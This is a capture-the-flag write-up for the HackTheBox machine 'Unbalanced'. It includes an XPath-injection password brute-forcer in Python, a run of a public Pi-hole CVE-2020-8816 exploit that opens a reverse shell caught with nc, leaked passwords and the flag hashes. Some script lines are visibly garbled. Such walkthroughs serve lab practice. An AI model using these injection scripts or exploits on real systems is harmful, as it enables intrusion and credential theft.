root@kali:~# nmap -sC -sV -p- 10.10.10.200 -v --min-rate=10000 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 a2:76:5c:b0:88:6f:9e:62:e8:83:51:e7:cf:bf:2d:f2 (RSA) | 256 d0:65:fb:f6:3e:11:b1:d6:e6:f7:5e:c0:15:0c:0a:77 (ECDSA) |_ 256 5e:2b:93:59:1d:49:28:8d:43:2c:c1:f7:e3:37:0f:83 (ED25519) 873/tcp open rsync (protocol version 31) 3128/tcp open http-proxy Squid http proxy 4.6 |_http-title: ERROR: The requested URL could not be retrieved Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
This is a huge file so use sed to grep only the active lines:
1 2 3 4 5
root@kali:~/hackthebox/machine/unbalanced# sed '/^#/ d' < decrypt/squid.conf > readable.txt root@kali:~/hackthebox/machine/unbalanced# cat readable.txt ... a hostname: intranet.unbalanced.htb a password: Thah$Sh1
got a password from squid and able to see more of the config
url = 'http://172.31.179.1/intranet.php' proxy_url = 'http://10.10.10.200:3128' w = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~!@#$%^&*(){}:"<>?' u = ['rita','jim','bryan','sarah']
for user in u: data = {'Username': '', 'Password': "' or Username='" + user + "' and substring(Password,0,1)='x"} request = requests.post(url, data=data, proxies={'http':proxy_url}) b = len(request.text) cracked_pass = '' for i in range(1,80): found = False for c in w: data = {'Username': '', 'Password': "' or Username='" + user + "' and substring(Password," + str(i) + ",1)='" + c + ""} request = requests.post(url, data=data, proxies={'http':proxy_url}) if len(request.text) != b: found = True break if not found: break print('Attempting User {0}'.format(user)) print('[+]Found character: {2}'.format(user, i, c)) cracked_pass += c print(cracked_pass)
for user inusers: data = {"Username": '', "Password": "' or username= '" + user + "'or substring(Password,1,1)='p' or'"} request = requests.post(url, data=data, proxies={'http':proxy}) length = len(request.text) p4ss = '' for i in range(1,25): for l in letters: data = {"Username": '', "Password": "' or username= '" + "{}".format(user) + "'or substring(Password,{},1)='{}' or'".format(str(i),l)} request1 = requests.post(url, data=data, proxies={'http':proxy}) if"{}@unbalanced.htb".format(user) in request1.text and len(request1.text) != 6756: print("Got hit for User '{}' - Letter is '{}'".format(user, l)) p4ss += l print(str(i)) print(str(p4ss)) pass
use burp intruder to bruteforce is also a great idea,
root@kali:~# ssh bryan@10.10.10.200 The authenticity of host '10.10.10.200 (10.10.10.200)' can't be established. ECDSA key fingerprint is SHA256:aiHhPmnhyt434Qvr9CpJRZOmU7m1R1LI29c11na1obY. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.10.200' (ECDSA) to the list of known hosts. bryan@10.10.10.200's password: Linux unbalanced 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Wed Jun 17 14:16:06 2020 from 10.10.10.4 bryan@unbalanced:~$ id uid=1000(bryan) gid=1000(bryan) groups=1000(bryan) bryan@unbalanced:~$ whoami bryan bryan@unbalanced:~$ ls TODO user.txt bryan@unbalanced:~$ cat user.txt 51dfe0d5a9a3981ca4fdbfee0619d773
bryan@unbalanced:~$ cat TODO ############ # Intranet # ############ * Install new intranet-host3 docker [DONE] * Rewrite the intranet-host3 code to fix Xpath vulnerability [DONE] * Test intranet-host3 [DONE] * Add intranet-host3 to load balancer [DONE] * Take down intranet-host1 and intranet-host2 from load balancer (set as quiescent, weight zero) [DONE] * Fix intranet-host2 [DONE] * Re-add intranet-host2 to load balancer (set default weight) [DONE] - Fix intranet-host1 [TODO] - Re-add intranet-host1 to load balancer (set default weight) [TODO]
########### # Pi-hole # ########### * Install Pi-hole docker (only listening on 127.0.0.1) [DONE] * Set temporary admin password [DONE] * Create Pi-hole configuration script [IN PROGRESS] - Run Pi-hole configuration script [TODO] - Expose Pi-hole ports to the network [TODO]
There was a suspicious TODO file in Bryan’s home folder. What is in progress is vulnerable. As it is, PiHole might be the hold for privilege escalation. PiHole server is running in docker and it can be only accessed through the localhost. Let’s find which port it is running.
seems like I need to find a domain for the PiHole server. Then ran the linpeas enumeration script on the server.
1 2 3 4 5 6
172.31.179.2 dev br-742fc4eb92b1 lladdr 02:42:ac:1f:b3:02 STALE 172.31.11.3 dev br-742fc4eb92b1 lladdr 02:42:ac:1f:0b:03 STALE 172.31.179.1 dev br-742fc4eb92b1 lladdr 02:42:ac:1f:b3:01 STALE 172.31.179.3 dev br-742fc4eb92b1 lladdr 02:42:ac:1f:b3:03 STALE 10.10.10.2 dev ens160 lladdr 00:50:56:b9:f9:ab REACHABLE fe80::250:56ff:feb9:f9ab dev ens160 lladdr 00:50:56:b9:f9:ab router STALE
looks like we found the ip of the pi-hole webpage
1 2 3 4 5 6
bryan@unbalanced:~$ curl 172.31.11.3
<html><head> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1"/> <link rel='stylesheet' href='/pihole/blockingpage.css'type='text/css'/> </head><body id='splashpage'><img src='/admin/img/logo.svg'/><br/>Pi-<b>hole</b>: Your black hole for Internet advertisements<br><a href='/admin'>Did you mean to go to the admin panel?</a></body></html>
turn on the proxy again , see the webpage and are able to login in with the default creds:
Since the exploit is not configured to use a proxy server
we can do two things change the exploit or use ssh tunneling
1
ssh -L 81:172.31.11.3:80 bryan@10.10.10.200
then browser to
1
http://127.0.0.1:81/admin/
use the poc from github
CVE-2020-8816
run the script then we got a reverse shell
1 2 3 4 5 6 7 8
root@kali:~/hackthebox/machine/unbalanced# python exp2.py http://127.0.0.1:81 admin 10.10.14.5 3344 Attempting to verify if Pi-hole version is vulnerable Logging in... Login succeeded Grabbing CSRF token Attempting to read$PATH Pihole is vulnerable and served's $PATH allows PHP Sending payload
1 2 3 4 5 6 7 8 9 10 11
root@kali:~# nc -lvp 3344 Ncat: Version 7.80 ( https://nmap.org/ncat ) Ncat: Listening on :::3344 Ncat: Listening on 0.0.0.0:3344 Ncat: Connection from 10.10.10.200. Ncat: Connection from 10.10.10.200:38602. /bin/sh: 0: can't access tty; job control turned off $ id uid=33(www-data) gid=33(www-data) groups=33(www-data) $ whoami www-data
# Set temperature unit to Celsius /usr/local/bin/pihole -a -c
# Add local host record /usr/local/bin/pihole -a hostrecord pihole.unbalanced.htb 127.0.0.1
# Set privacy level /usr/local/bin/pihole -a -l 4
# Set web admin interface password /usr/local/bin/pihole -a -p 'bUbBl3gUm$43v3Ry0n3!'
# Set admin email /usr/local/bin/pihole -a email admin@unbalanced.htb
then we use the password to get root
wow! easy root!
1 2 3 4 5 6 7 8 9 10 11 12 13
bryan@unbalanced:~$ su root Password: root@unbalanced:/home/bryan# cd root@unbalanced:~# id uid=0(root) gid=0(root) groups=0(root) root@unbalanced:~# whoami root root@unbalanced:~# ls root.txt root@unbalanced:~# cat root cat: root: No such file or directory root@unbalanced:~# cat root.txt 9c9972cb01af0521dc17b015c30103c3
Summary of knowledge
Rsync download files
EncFS password decrypted
sed grep the active lines
use squidclient to see more information
set http-proxy Squid http proxy to access the webpage
exploit with xpath injection
python script or burp intruder to fuzz xpath payload args
